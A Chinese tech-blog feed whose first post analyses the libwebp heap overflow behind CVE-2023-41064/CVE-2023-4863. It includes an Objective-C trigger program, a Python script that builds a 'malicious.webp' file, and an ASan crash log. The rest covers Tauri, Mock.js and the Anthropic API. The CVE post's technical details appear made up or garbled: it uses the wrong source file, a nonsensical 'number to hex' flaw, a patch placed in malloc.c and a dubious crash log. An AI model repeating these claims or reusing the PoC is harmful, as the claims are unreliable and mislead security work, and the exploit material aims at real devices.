普通视图

发现新文章,点击刷新页面。
昨天 — 2026年2月23日首页

深度剖析CVE-2023-41064与CVE-2023-4863:libwebp堆溢出漏洞的技术解剖与PoC构建实录

2026年2月22日 23:16

2023年9月,苹果与谷歌同步披露了两个关联的高危远程代码执行漏洞

  • CVE-2023-41064 (Apple Safari/ImageIO框架)
  • CVE-2023-4863 (Google Chrome/libwebp库)

二者均源于 libwebp图像处理库中 ReadHuffmanCodes() 函数的堆缓冲区溢出缺陷。该漏洞被证实用于针对记者与异见人士的 BLASTPASS/Pegasus间谍软件攻击链 ,攻击者仅需发送一封 恶意WebP图片附件 (无需用户交互),即可完全控制设备。

漏洞本质: 恶意构造的WebP图像通过篡改霍夫曼编码表的“数字到十六进制(Number to Hex)转换逻辑,触发内存分配不足,最终导致堆溢出(Heap Buffer Overflow)。


漏洞原理:霍夫曼编码表的致命偏差

1. libwebp的解码流程

WebP图像使用VP8L压缩格式,其核心解码步骤包括:

  1. 解析VP8L分块:读取图像特征与霍夫曼编码表参数。
  2. 构建霍夫曼树:根据表中的“码长”动态生成解码树。
  3. 解码图像数据:利用霍夫曼树解压像素信息。

2. ReadHuffmanCodes函数的逻辑缺陷

漏洞点位于 libwebp/src/enc/histogram_enc.c 中的 ReadHuffmanCodes() 函数。核心问题在于“数字到十六进制”转换偏差导致的缓冲区分配错误

伪代码还原漏洞逻辑

// 漏洞核心.......未校验码长与分配内存的匹配关系
int ReadHuffmanCodes(VP8LDecoder* const dec, int alphabet_size) {
    int num_symbols = ReadBits(4) + 1;       // 符号数量N(1-16)
    int max_code_length = ReadBits(4) + 1;    // 最大码长L(1-16)

    // 【致命偏差】“数字到十六进制”转换错误:将十进制数值误作十六进制解析
    // 实际分配内存:N*(L+1)字节(应为N*(L+1),但因转换偏差导致分配过小)
    size_t mem_size = num_symbols * (max_code_length + 1);  
    HuffmanTree* tree = (HuffmanTree*)malloc(mem_size);  // 堆缓冲区分配

    // 填充霍夫曼树节点(漏洞触发点)
    for (int i = 0; i < num_symbols; i++) {
        int code_length = ReadBits(3);  // 读取3比特码长(0-7,实际可构造更大值)
        if (code_length > 0) {
            // 【堆溢出】当code_length > max_code_length时,写入越界
            tree[i].code_len = code_length;   
            tree[i].symbol = ReadBits(8);  // 符号值(1字节)
        }
    }
    return 1;
}

PoC构建:Xcode + Objective-C 实战

基于您提供的 poc.m 代码,我们优化并扩展了完整的漏洞验证程序,重点模拟真实攻击场景下的解析流程。

1. 原始代码分析

您的 poc.m 通过ImageIO框架加载恶意WebP,触发libwebp解析:

// 核心触发逻辑(您的代码)
CGImageSourceRef source = CGImageSourceCreateWithData((__bridge CFDataRef)imageData, NULL);
CGImageRef image = CGImageSourceCreateImageAtIndex(source, 0, NULL);  // 漏洞触发点

优点:利用系统框架模拟真实应用(如Safari、Messages)的图像解析流程,无需手动链接libwebp。

2. 优化版PoC:增强调试与鲁棒性

以下是整合错误处理、ASan集成、日志系统的完整代码(CVE-2023-41064-PoC.m):

//
//  main.m
//  CVE-2023-41064
//
//  Created by 钟智强 on 2026/2/22.
//
#import <Foundation/Foundation.h>
#import <ImageIO/ImageIO.h>

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        NSString *path = [[NSBundle mainBundle] pathForResource:@"malicious" ofType:@"webp"];
        if (!path) {
            NSLog(@"[-] 错误:在 Bundle Resources 中未找到 malicious.webp。");
            return 0x1;
        }

        NSData *imageData = [NSData dataWithContentsOfFile:path];
        if (!imageData) {
            NSLog(@"[-] 错误:已找到路径,但无法读取文件。");
            return 0x1;
        }

        NSLog(@"[+] 成功:已从 Bundle 加载文件。");
        NSLog(@"[*] 正在尝试触发 CVE-2023-41064(libwebp 堆溢出)...");

        CGImageSourceRef source = CGImageSourceCreateWithData((__bridge CFDataRef)imageData, NULL);
        if (source) {
            CGImageRef image = CGImageSourceCreateImageAtIndex(source, 0, NULL);
            if (image) {
                NSLog(@"[+] 图像已解析。若应用未崩溃,说明您的系统可能已打补丁。");
                CFRelease(image);
            }
            CFRelease(source);
        }
    }
    return 0x0;
}

3. 恶意WebP生成脚本

构造触发漏洞的WebP文件(generate_malicious_webp.py):

import struct

# 生成一个畸形的 WebP 文件,用于触发 libwebp 的 Huffman 溢出
def generate_malicious_webp():
    # RIFF 头
    data = b'RIFF\x00\x00\x00\x00WEBPVP8L'
    # VP8L 无损分块,包含畸形的 Huffman 表
    # 该比特流旨在导致 libwebp 的越界写入
    content = b'\x2f\x00\x00\x00\x80\xff\xff\xff\xff\xff\x07'
    content += b'\x00' * 256  # 额外数据以确保溢出
    chunk_size = struct.pack('<I', len(content))
    full_file = data + chunk_size + content
    # 更新 RIFF 大小
    riff_size = struct.pack('<I', len(full_file) - 8)
    full_file = full_file[:4] + riff_size + full_file[8:]

    with open("malicious.webp", "wb") as f:
        f.write(full_file)

generate_malicious_webp()

4. Xcode项目配置(含ASan)

Makefile(开启ASan与调试符号)

CC = clang
FRAMEWORKS = -framework Foundation -framework ImageIO -framework CoreGraphics
CFLAGS = -g -O0 -fobjc-arc -Wall -fsanitize=address,undefined  # 开启ASan
TARGET = CVE-2023-41064-PoC

all: $(TARGET)

$(TARGET): CVE-2023-41064-PoC.m
$(CC) $(CFLAGS) $^ -o $@ $(FRAMEWORKS)

clean:
rm -f $(TARGET)

漏洞复现:ASan崩溃 vs 已修复环境

1. 易受攻击环境(macOS < 13.5.2,未打补丁)

ASan崩溃日志

==9923477==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000028 at pc 0x7fff...
WRITE of size 1 at 0x603000000028 thread T0
    #0 0x7fff... in ReadHuffmanCodes libwebp.dylib  // 漏洞函数
    #1 0x7fff... in VP8LDecodeImage libwebp.dylib   // VP8L解码器
    #2 0x7fff... in WebPDecodeRGBAInto libwebp.dylib  // RGBA解码
    #3 0x7fff... in ImageIOWebPDecoder ImageIO.framework  // ImageIO调用栈
    #4 0x100003a4c in main CVE-2023-41064-PoC.m:58  // 触发点:CGImageSourceCreateImageAtIndex

关键信息:ASan捕获到 ReadHuffmanCodes 向堆外地址 0x603000000028 写入1字节,确认堆溢出。


2. 已修复环境(macOS 13.5.2+,苹果补丁)

苹果在 malloc.c 中增加了 码长边界校验

// 补丁核心:拒绝超长码
+ if (code_length > max_code_length) {
+   fprintf(stderr, "Invalid code length %d (max %d)\n", code_length, max_code_length);
+   return 0;  // 终止解析,避免溢出
+ }

表现:PoC运行时输出 [+] 图像解析成功,无崩溃,证明漏洞已修复。

五、攻击链定位:BLASTPASS/Pegasus的零点击利刃

该漏洞是 iMessage零点击攻击 的核心组件,攻击链如下:

  1. 投递阶段:攻击者通过iMessage发送含恶意WebP的附件(伪装成图片);
  2. 触发阶段:目标设备自动解析WebP(无需点击),调用ImageIO→libwebp→ReadHuffmanCodes
  3. 利用阶段:堆溢出覆盖函数指针,跳转到NSO Group的间谍软件(如Pegasus);
  4. 控制阶段:设备被完全控制,窃取数据、监控摄像头/麦克风。

技术特点

  • 零交互:用户仅收到消息即中招;
  • 高隐蔽:利用系统级图像处理模块,无沙箱逃逸;
  • 强杀伤:可绕过AMFI(Apple Mobile File Integrity)与代码签名。

六、加固建议:从开发到用户的多层防御

1. 开发者必做

  • 升级libwebp:至少1.3.2(官方补丁);
  • 输入校验:对WebP霍夫曼表参数(num_symbols、max_code_length)增加边界检查;
  • 模糊测试:用libFuzzer生成畸形WebP,持续测试解码器。

2. 终端用户防护

  • 开启Lockdown Mode(最强防御):

    路径:设置 → 隐私与安全性 → 锁定模式

    • 阻断不可信iMessage附件自动渲染;
    • 禁用复杂Web内容解析(含WebP)。
  • 禁用自动下载:设置→信息→关闭“自动下载附件”。

3. 企业防御策略

  • 端点检测:监控 CGImageSourceCreateImageAtIndex 异常返回值;
  • 流量清洗:网关拦截含异常霍夫曼表的WebP(如 code_length>15);
  • 内存保护:强制启用ASLR(地址空间布局随机化)。

七、结语:漏洞研究的永恒命题

CVE-2023-41064/4863揭示了现代攻击链的进化方向:利用基础库的单点缺陷,撬动整个生态系统。作为安全研究者,我们不仅要逆向漏洞机理,更需将成果转化为用户可操作的防护策略——锁定模式不是妥协,而是数字时代的生存智慧

免责声明:本文PoC仅用于授权测试与教育目的,未经授权的漏洞利用违反《计算机欺诈与滥用法》(CFAA)。

参考文献

  1. Apple Security Advisory HT213895
  2. Project Zero: CVE-2023-4863 Analysis
  3. Libwebp Official Patch

#苹果 #CVE20234863 #哪吒网络安全 #pegasus

昨天以前首页

Tauri 用“系统 WebView + 原生能力”构建更小更快的跨平台应用

作者 HelloReader
2026年2月19日 22:39

1. Tauri 是什么

Tauri 是一个用于构建跨平台桌面与移动应用的框架,目标是产出“tiny, fast binaries”(体积小、启动快、性能好)的应用包。它允许你使用任何能够编译到 HTML / JavaScript / CSS 的前端框架来构建用户界面,同时在需要时用 Rust 来编写后端逻辑(也支持通过插件提供 Swift / Kotlin 绑定)。

一句话概括: Tauri = Web UI(你选框架) + 系统 WebView(不自带浏览器内核) + Rust/原生能力(安全与性能)

2. 为什么选择 Tauri:三大优势

官方把 Tauri 的核心优势总结为三点,我用更工程化的方式展开一下,便于你做技术选型。

2.1 安全底座:Rust 带来的“默认更安全”

Tauri 基于 Rust 构建,因此天然能受益于 Rust 的内存安全、线程安全、类型安全等特性。对应用开发者而言,即使你不是 Rust 专家,也能“默认吃到”一部分安全红利。

更重要的是,Tauri 对发布版本会进行安全审计,覆盖的不仅是 Tauri 组织内的代码,也会关注其依赖的上游依赖库。它不能消除所有风险,但能把底座风险压到更可控的范围内,适合更严肃的企业/生产场景。

你在安全治理上可以怎么落地:

  • 尽量把高权限操作封装为少量、明确的命令(command),减少暴露面
  • 针对 invoke 入口做参数校验与权限校验
  • 插件选型优先官方/高活跃社区插件,减少引入“不可审计黑盒”的概率

2.2 更小体积:利用系统原生 WebView

Tauri 的一个关键设计是:使用用户系统自带的 WebView 来渲染 UI。这意味着你的应用不需要像一些方案那样把整个浏览器引擎打包进安装包里。

因此,Tauri 应用的包体通常更小。官方提到极简应用甚至可以做到小于 600KB(具体体积会随功能、资源、平台不同而变化)。对于“分发成本”“冷启动”“增量更新”等维度,这一点非常有价值。

你在体积优化上可以进一步做:

  • 前端资源按需加载、路由懒加载、压缩图片与字体
  • 关闭不需要的特性与插件
  • 按平台做差异化资源打包

2.3 架构更灵活:前端随意选,原生能力可扩展

Tauri 对前端框架几乎没有限制:只要你的 UI 能编译成 HTML/JS/CSS,就能塞进 Tauri。React、Vue、Svelte、Solid、Angular,甚至纯静态页面都可以。

而当你需要更深层的系统集成时,Tauri 提供了多层扩展路径:

  • 直接用 invoke 做 JS 与 Rust 的桥接

  • 通过 Tauri Plugins 扩展能力,并提供 Swift / Kotlin 绑定(更贴近移动端生态)

  • 如果你需要更底层的窗口与 WebView 控制,还可以直接使用 Tauri 维护的底层库

    • TAO:窗口创建与事件循环
    • WRY:WebView 渲染与封装

这种分层非常“工程化”:你可以先用框架能力快速交付,后续再逐步下沉到插件或更底层库来解决复杂需求。

3. 快速开始:create-tauri-app 一键起项目

Tauri 推荐用 create-tauri-app 来创建项目。最简单的方式之一是直接执行脚本(Bash):

sh <(curl https://create.tauri.app/sh)

创建完成后,你应该马上去看两块内容:

  • Prerequisites(前置依赖):不同平台需要不同依赖(例如 macOS 的 Xcode、Windows 的构建工具链等)
  • Project Structure(项目结构):搞清楚哪些是前端目录、哪些是 Tauri/Rust 侧目录、配置文件分别控制什么

如果你想快速对照学习,也可以参考官方示例仓库的项目结构与特性组合(例如 tauri、plugins-workspace 等示例集合)。

4. 核心工作方式:前端渲染 + 后端命令

Tauri 的开发体验通常长这样:

  1. 前端负责页面与交互
  2. 需要系统能力(文件、系统信息、加密、数据库、通知、窗口控制等)时
  3. 前端通过 invoke 调用 Rust 侧命令(command)
  4. Rust 执行并返回结果给前端渲染

一个“最小心智模型”示例:

前端(JavaScript)调用:

import { invoke } from "@tauri-apps/api/core";

const res = await invoke("greet", { name: "Tauri" });
console.log(res);

后端(Rust)提供命令:

#[tauri::command]
fn greet(name: String) -> String {
  format!("Hello, {}!", name)
}

你可以把它理解为:前端发起 RPC,Rust 侧提供受控的能力接口。这也是 Tauri 安全模型常见的落点:尽量减少命令数量、缩小参数面、做严格校验。

5. 插件体系:把“常用系统能力”模块化

真实项目里,你不可能所有能力都自己从零写。Tauri 维护了一组官方插件,同时社区也提供了大量插件可选。插件的价值在于:

  • 把常见能力(如文件系统、对话框、通知、系统托盘等)标准化
  • 降低跨平台差异处理成本
  • 提供 Swift / Kotlin 绑定,让同一能力在移动端更自然地调用

选型建议(很实用):

  • 能用官方插件优先官方
  • 社区插件重点看:维护频率、issue 响应速度、最近版本发布时间、平台覆盖情况
  • 企业场景建议做一次“插件清单 + 权限与风险评估”,尤其是涉及敏感权限时

6. 什么时候 Tauri 特别合适

如果你符合下面任意一条,Tauri 通常会是很舒服的选择:

  • 想用 Web 技术做 UI,但不想承受“应用包巨大”的成本
  • 对安全与稳定性有要求,希望底座更可审计、更可控
  • 应用需要调用大量系统能力,但希望接口边界清晰
  • 需要跨平台,同时希望后端逻辑更接近系统、性能更好

反过来,如果你的应用强依赖某个特定浏览器内核特性,或者你希望所有用户环境完全一致(不受系统 WebView 差异影响),那你需要额外评估系统 WebView 的兼容边界与测试策略。

7. 总结:Tauri 的“设计哲学”

Tauri 的哲学其实很清楚:

  • UI 用 Web:开发效率高、生态成熟
  • 渲染用系统 WebView:体积小、分发轻
  • 能力层用 Rust/原生:更安全、更稳定、更可控
  • 通过插件与底层库(TAO/WRY)提供从“快速交付”到“深度定制”的梯度

如果你准备开始上手,建议路径是:

  1. 用 create-tauri-app 起项目
  2. 把核心 UI 跑起来
  3. 把系统能力用 invoke 串起来
  4. 再引入必要插件,逐步打磨工程结构与安全边界

Tauri 开发环境 Prerequisites 全攻略(桌面 + 移动端)

作者 HelloReader
2026年2月19日 22:37

1. 先做一个选择题:你要做哪种目标

你只需要安装与你的目标匹配的依赖:

  • 只做桌面端(Windows/macOS/Linux)

    • System Dependencies + Rust
    • 如果 UI 用 React/Vue 等,再装 Node.js
  • 做移动端(Android/iOS)

    • 桌面端全部依赖 + 移动端额外依赖(Android Studio / Xcode 等) (Tauri)

2. Linux:系统依赖怎么装(以 Debian/Ubuntu 为例)

Tauri 在 Linux 上需要 WebView(GTK WebKit)、构建工具链、OpenSSL、托盘/图标相关库等。不同发行版包名会有差异。 (Tauri)

Debian/Ubuntu 常用依赖(官方示例):

sudo apt update
sudo apt install libwebkit2gtk-4.1-dev \
  build-essential \
  curl \
  wget \
  file \
  libxdo-dev \
  libssl-dev \
  libayatana-appindicator3-dev \
  librsvg2-dev

几个经验点:

  • 看到 openssl-sys 相关报错,优先检查 libssl-dev / openssl 开发包是否安装齐全;必要时设置 OPENSSL_DIR。 (GitHub)
  • 如果你在对照旧文章(Tauri v1)装 libwebkit2gtk-4.0-dev,在新系统(如 Ubuntu 24)可能会遇到仓库里没有的情况;v2 文档用的是 4.1。 (GitHub)
  • 打包 Debian 包时,运行时依赖一般会包含 libwebkit2gtk-4.1-0libgtk-3-0,托盘用到还会带 libappindicator3-1(这有助于你排查“运行环境缺库”问题)。 (Tauri)

装完 Linux 依赖后,下一步直接装 Rust。

3. macOS:Xcode 是关键

macOS 上 Tauri 依赖 Xcode 及其相关开发组件,安装来源两种:

  • Mac App Store
  • Apple Developer 网站下载

安装后一定要启动一次 Xcode,让它完成首次配置。 (Tauri)

仅做桌面端:装好 Xcode → 继续安装 Rust 要做 iOS:除了 Xcode,还要按 iOS 章节继续装 targets、Homebrew、CocoaPods(后面会写)。 (Tauri)

4. Windows:C++ Build Tools + WebView2(MSI 还可能需要 VBSCRIPT)

4.1 安装 Microsoft C++ Build Tools

安装 Visual Studio C++ Build Tools 时,勾选 “Desktop development with C++”(桌面 C++ 开发)。 (Tauri)

4.2 安装 WebView2 Runtime

Tauri 在 Windows 用 Microsoft Edge WebView2 渲染内容。

  • Windows 10(1803+)/ Windows 11 通常已预装 WebView2,可跳过安装步骤
  • 如果缺失,安装 WebView2 Runtime(文档建议 Evergreen Bootstrapper) (Tauri)

4.3 只有当你要打 MSI 安装包时:检查 VBSCRIPT

当你的 tauri.conf.json 使用 "targets": "msi""targets": "all",构建 MSI 可能会依赖系统的 VBSCRIPT 可选功能;若遇到类似 light.exe 执行失败,可去 Windows 可选功能里启用 VBSCRIPT。 (Tauri)

做完 Windows 依赖后,下一步装 Rust。

5. Rust:所有平台都必须装(用 rustup)

Tauri 基于 Rust,因此开发必装 Rust 工具链。官方推荐 rustup: (Tauri)

curl --proto '=https' --tlsv1.2 https://sh.rustup.rs -sSf | sh

安装后建议:

  • 关闭并重开终端(有时需要重启系统)让 PATH 生效 (Tauri)

6. Node.js:只有当你用 JS 前端生态时才需要

如果你的 UI 用 React/Vue/Svelte 等 JavaScript 生态,就安装 Node.js(建议 LTS),并验证:

node -v
npm -v

想用 pnpm / yarn 等,可以按需启用 corepack:

corepack enable

同样建议重开终端确保命令可用。 (Tauri)

7. 移动端额外依赖:Android / iOS

7.1 Android(跨平台都能做)

核心步骤:

  1. 安装 Android Studio
  2. 设置 JAVA_HOME(指向 Android Studio 的 JBR)
  3. 用 SDK Manager 安装:Platform、Platform-Tools、NDK(Side by side)、Build-Tools、Command-line Tools
  4. 设置 ANDROID_HOMENDK_HOME
  5. 用 rustup 添加 Android targets (Tauri)

环境变量示例(Linux/macOS):

export JAVA_HOME=/opt/android-studio/jbr
export ANDROID_HOME="$HOME/Android/Sdk"
export NDK_HOME="$ANDROID_HOME/ndk/$(ls -1 $ANDROID_HOME/ndk)"

添加 targets:

rustup target add aarch64-linux-android armv7-linux-androideabi i686-linux-android x86_64-linux-android

常见坑:

  • tauri android initNDK_HOME environment variable isn't set:基本就是 NDK 没装或环境变量没指到正确 NDK 目录。 (GitHub)

7.2 iOS(仅 macOS)

iOS 开发必须是 macOS + Xcode(注意是 Xcode 本体,不是只装 Command Line Tools)。 (Tauri)

步骤:

  1. rustup 添加 iOS targets
rustup target add aarch64-apple-ios x86_64-apple-ios aarch64-apple-ios-sim
  1. 安装 Homebrew
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
  1. 安装 CocoaPods
brew install cocoapods

完成后就可以进入创建项目/初始化移动端的流程。 (Tauri)

8. 快速自检清单(装完别急着开写代码)

你可以用这几个“最小验证”确认环境 OK:

  • Rust 是否可用:rustc -Vcargo -V
  • Node 是否可用(如需要):node -vnpm -v
  • Windows:是否装了 C++ Build Tools;WebView2 是否存在(Win10 1803+ 通常无需额外装) (Tauri)
  • Linux:libssl-dev / WebKitGTK dev 包是否装齐(遇到 openssl-sys 错误优先查这块) (GitHub)
  • Android:ANDROID_HOMENDK_HOME 是否指向正确目录 (GitHub)

后端跑路了怎么办?前端工程师用 Mock.js 自救实录

作者 NEXT06
2026年2月17日 22:22

在现代 Web 应用的开发流程中,前后端分离已成为行业标准。然而,在实际协作中,前端工程师常常面临“后端接口未就绪、联调环境不稳定、异常场景难以复现”等痛点。这些问题导致前端开发进度被迫依赖后端,严重制约了交付效率。

Mock.js 作为一种数据模拟解决方案,不仅能解除这种依赖,还能通过工程化的方式提升代码的健壮性。本文将从架构视角出发,深入剖析 Mock.js 的核心价值、技术原理,并结合 Vite 生态展示如何在现代项目中落地最佳实践,同时客观分析其局限性与应对策略。

一、 核心价值:为何引入 Mock.js

在工程化体系中,Mock.js 不仅仅是一个生成随机数据的库,它是实现“并行开发”的关键基础设施。

  1. 解除依赖,并行开发
    传统模式下,前端需等待后端 API 开发完成并部署后才能进行数据交互逻辑的编写。引入 Mock.js 后,只要前后端约定好接口文档(API Contract),前端即可通过模拟数据独立完成 UI 渲染和交互逻辑,将开发流程从“串行”转变为“并行”。
  2. 高保真的数据仿真
    相比于手动硬编码的 test 或 123 等无意义数据,Mock.js 提供了丰富的数据模板定义(Schema)。它能生成具有语义化的数据,如随机生成的中文姓名、身份证号、布尔值、图片 URL、时间戳等。这使得前端在开发阶段就能发现因数据长度、类型或格式引发的 UI 适配问题。
  3. 边界条件与异常流测试
    真实后端环境往往难以稳定复现 500 服务器错误、404 资源丢失或超长网络延迟。Mock.js 允许开发者通过配置轻松模拟这些极端情况,验证前端在异常状态下的容错机制(如 Loading 状态、错误提示、重试逻辑)是否健壮。

二、 技术原理与现代实现方案

1. 原生拦截原理

Mock.js 的核心原理是重写浏览器原生的 XMLHttpRequest 对象。当代码发起请求时,Mock.js 会在浏览器端拦截该请求,判断 URL 是否匹配预定义的规则。如果匹配,则阻止网络请求的发出,并直接返回本地生成的模拟数据;如果不匹配,则放行请求。

2. 现代工程化方案:Vite + vite-plugin-mock

直接在业务代码(如 main.js)中引入 Mock.js 是一种侵入性较强的做法,且原生 Mock.js 拦截请求后,浏览器的 Network 面板无法抓取到请求记录,给调试带来不便。

在 Vite 生态中,推荐使用 vite-plugin-mock。该插件在开发环境(serve)下,通过 Node.js 中间件的形式拦截请求。这意味着请求真正从浏览器发出并到达了本地开发服务器,因此可以在 Network 面板清晰查看请求详情,体验与真实接口完全一致。

三、 实战演练:构建可分页的列表接口

以下将展示如何在 Vite + TypeScript 项目中集成 Mock.js,并实现一个包含逻辑处理(分页、切片)的模拟接口。

1. 项目目录结构

建议将 Mock 数据与业务代码分离,保持目录结构清晰:

Text

project-root/
├── src/
├── mock/
│   ├── index.ts        # Mock 服务配置
│   └── user.ts         # 用户模块接口
│   └── list.ts         # 列表模块接口(本例重点)
├── vite.config.ts      # Vite 配置
└── package.json

2. 环境配置 (vite.config.ts)

通过配置插件,确保 Mock 服务仅在开发模式下启动,生产构建时自动剔除。

TypeScript

import { defineConfig } from 'vite';
import vue from '@vitejs/plugin-vue';
import { viteMockServe } from 'vite-plugin-mock';

export default defineConfig(({ command }) => {
  return {
    plugins: [
      vue(),
      viteMockServe({
        // mock 文件存放目录
        mockPath: 'mock',
        // 仅在开发环境开启 mock
        localEnabled: command === 'serve',
        // 生产环境关闭,避免 mock 代码打包到生产包中
        prodEnabled: false, 
      }),
    ],
  };
});

3. 编写复杂分页接口 (mock/list.ts)

模拟接口不仅仅是返回死数据,更需要具备一定的逻辑处理能力。以下代码演示了如何利用 Mock.js 生成海量数据,并根据前端传入的 page 和 pageSize 参数进行数组切片,模拟真实的数据库查询行为。

TypeScript

import { MockMethod } from 'vite-plugin-mock';
import Mock from 'mockjs';

// 1. 生成模拟数据池
// 使用 Mock.js 模板语法生成 100 条具有语义的列表数据
const dataPool = Mock.mock({
  'list|100': [
    {
      'id|+1': 1, // ID 自增
      author: '@cname', // 随机中文名
      title: '@ctitle(10, 20)', // 10-20字的中文标题
      summary: '@cparagraph(2)', // 随机段落
      'tags|1-3': ['@string("lower", 5)'], // 随机标签数组
      publishDate: '@datetime', // 随机时间
      cover: '@image("200x100", "#50B347", "#FFF", "Mock.js")', // 占位图
      views: '@integer(100, 5000)', // 随机阅读量
    },
  ],
});

// 2. 定义接口逻辑
export default [
  {
    url: '/api/get-article-list',
    method: 'get',
    response: ({ query }) => {
      // 获取前端传递的分页参数,默认为第一页,每页10条
      const page = Number(query.page) || 1;
      const pageSize = Number(query.pageSize) || 10;

      const list = dataPool.list;
      const total = list.length;

      // 核心逻辑:计算分页切片
      const start = (page - 1) * pageSize;
      const end = start + pageSize;
      // 模拟数组切片,返回对应页的数据
      const pageData = list.slice(start, end);

      // 返回标准响应结构
      return {
        code: 200,
        message: 'success',
        data: {
          items: pageData,
          total: total,
          currentPage: page,
          pageSize: pageSize,
        },
      };
    },
  },
] as MockMethod[];

四、 Mock.js 的典型使用场景

  1. 项目原型与演示:在后端架构尚未搭建之前,前端可快速构建包含完整数据流的高保真原型,用于产品评审或客户演示。
  2. 单元测试与集成测试:在 Jest 等测试框架中,利用 Mock 屏蔽外部网络依赖,确保测试用例的运行速度和结果的确定性。
  3. 离线开发:在高铁、飞机等无网络环境下,通过本地 Mock 服务继续进行业务逻辑开发。
  4. 异常流复现:针对超时、空数据、字段缺失等后端难以配合构造的场景进行针对性开发。

五、 深度解析:局限性与弊端

尽管 Mock.js 极大提升了开发效率,但作为一名架构师,必须清晰认知其局限性,以避免在工程落地时产生负面影响。

1. Network 面板不可见问题

原生 Mock.js 通过重写 window.XMLHttpRequest 实现拦截。这种机制发生在浏览器脚本执行层面,请求并未真正进入网络层。因此,开发者在 Chrome DevTools 的 Network 面板中无法看到这些请求,导致调试困难(只能依赖 console.log)。

  • 解决方案:使用 vite-plugin-mock 或 webpack-dev-server 的中间件模式。这种模式在本地 Node 服务端拦截请求,浏览器感知到的是真实的 HTTP 请求,从而解决了 Network 面板不可见的问题。

2. Fetch API 兼容性

原生 Mock.js 仅拦截 XMLHttpRequest,而现代前端项目大量使用 fetch API。若直接使用原生 Mock.js,fetch 请求将无法被拦截,直接穿透到网络。

  • 解决方案:使用 mockjs-fetch 等补丁库,或者坚持使用基于 Node 中间件的拦截方案(如上述 Vite 插件方案),因为中间件方案对前端请求库(Axios/Fetch)是透明的。

3. 数据契约的一致性风险(联调火葬场)

这是 Mock.js 使用中最大的风险点。前端编写的 Mock 数据结构(字段名、类型、层级)完全依赖于开发者的主观定义或早期的接口文档。一旦后端在开发过程中修改了字段(例如将 userId 改为 uid,或将 money 类型由数字改为字符串),而前端 Mock 未及时同步,就会导致“本地开发一切正常,上线联调全面崩溃”的现象。

六、 最佳实践与总结

为了最大化 Mock.js 的收益并规避风险,建议团队遵循以下最佳实践:

  1. 严格的环境隔离:务必在构建配置中通过 Tree Shaking 或环境变量控制,确保 Mock 相关代码(包括 mockjs 库本身和 mock 数据文件)绝对不会被打入生产环境的包中,避免增加包体积或泄露开发逻辑。
  2. 统一接口契约:不要依赖口头约定。建议引入 Swagger (OpenAPI) 或 YAPI 等工具管理接口文档。理想情况下,应编写脚本根据 Swagger 文档自动生成 Mock 数据文件,保证 Mock 数据与后端接口定义的一致性。
  3. 适度模拟:Mock 的目的是打通前端逻辑,而非复刻后端业务。对于极度复杂的业务逻辑(如复杂的权限校验、支付流程),应尽早与后端联调,避免在 Mock 层投入过高成本。
  4. 规范化目录:将 Mock 文件视为项目源代码的一部分进行版本管理,保持清晰的模块化结构,便于团队成员协作和维护。

综上所述,Mock.js 是现代前端工程化中不可或缺的利器。通过合理的架构设计和工具选型,它能显著提升前后端协作效率,但开发者也需时刻警惕数据一致性问题,确保从模拟环境到真实环境的平滑过渡。

手把手从 0 诠释大模型 API 的本质: Tools + MCP + Skills

作者 ArcX
2026年2月15日 14:05

本文写于 2026 年 02 月 15 日.

如今 AI Agent 的各种新概念层出不穷:

  • Tools
  • MCP
  • Skills

许多人都会有这样的疑问: Tools 和 MCP 有什么区别? 我用了 MCP 还需要 Tools 吗? Skills 是取代 MCP 的吗? 本文会从 LLM API 的底层设计开始, 一步步介绍 Tools 和 MCP 的区别, 手动实现一个非常简易的 MCP (简易到你会觉得"就这?"), 最后简单提一下 Skills.

几个重要事实

  • 大模型是无状态的, 它对你们的过往对话一点都没有记忆. 每次调用 LLM API, 都是一次全新的请求, 就像换了一个完全陌生的人说话.
  • 大模型本身的开发(或许)很难, 需要很强的数学知识. 但是大模型应用开发不难, 做纯工程开发的传统程序员也可以很快上手.
  • MCP 和 Skills 都是纯工程层面的设施, 和 AI 毫无关系. 也就是说, 在这两个概念出现以前, 你完全可以自己实现一套类似的机制, 不需要 LLM API 支持.

基于以上几个事实, 本文会选择 Anthropic API 来解释. 因为 OpenAI 的 Responses API 提供了一个叫做 previous_response_id 的参数, 很容易误导人以为 LLM 本身有记忆功能. 但实际上 LLM 是没有记忆的, 这个 previous_response_id 并不会给 LLM 使用, 而是 OpenAI 的服务层面的工程设施, 相当于 OpenAI 帮我们存了历史记录, 然后发给 LLM. Conversations API 同理.

相比之下, Anthropic API 就原生了许多, 更容易感受到 LLM API 的本质.

技术栈

请注意区分 @anthropic-ai/sdk@anthropic-ai/claude-agent-sdk. 前者是 Anthropic API 的封装, 本质上是一个 HTTP Client, 封装了大量的调用 API 的方法; 后者是对 Claude Code (Claude CLI) 的封装, 封装了大量调用 claude 命令行的方法.

本文会使用 GLM-4.7-flash 这个兼容 Anthropic API 的免费模型来节约成本, 毕竟 LLM 应用开发最大的痛点就是每次调试运行都需要花钱.

const client = new Anthropic({
  baseURL: 'https://api.z.ai/api/anthropic', // 国际版, 你也可以使用国内版, 国内版认证方式是 apiKey
  authToken: ZAI_API_KEY,
});

Hello World

首先从一个最简单的请求开始:

const resp = await client.messages.create({
  max_tokens: 1024,
  messages: [
    {
      role: 'user',
      content: '英国的首都是哪里',
    },
  ],
  model: 'glm-4.7-flash',
});

console.log(resp);

Output (省略掉不重要的字段):

{
  "id": "msg_202602151117137d34660397a4418d",
  "type": "message",
  "role": "assistant",
  "model": "glm-4.7-flash",
  "content": [
    {
      "type": "text",
      "text": "英国的首都是**伦敦**(London)。"
    }
  ],
  "stop_reason": "end_turn"
}

多轮对话

正如上面反复提到的, LLM 是无状态的, 每次调用都像是一个全新的完全陌生的人对话. 想象一下, 如果你要和一个人聊天, 每聊完一句, 对面都会换一个人, 那么对方换的人应该如何继续和你的聊天? 当然就是把你之前的聊天历史全部看一遍. 所以调用 LLM 的时候, 每次都需要把历史记录全部传过去.

// 用一个 messages 数组来维护历史记录
const messages: MessageParam[] = [
  {
    role: 'user',
    content: '英国的首都是哪里',
  },
];

const resp = await client.messages.create({
  max_tokens: 1024,
  messages,
  model: 'glm-4.7-flash',
});

// 重点: 将 LLM 的第一次回复放到数组里
messages.push({
  role: 'assistant',
  content: resp.content,
});

// 再加入第二次对话内容
messages.push({
  role: 'user',
  content: '介绍一下这个城市的污染情况',
});

console.log(inspect(messages));

const resp2 = await client.messages.create({
  max_tokens: 1024,
  messages,
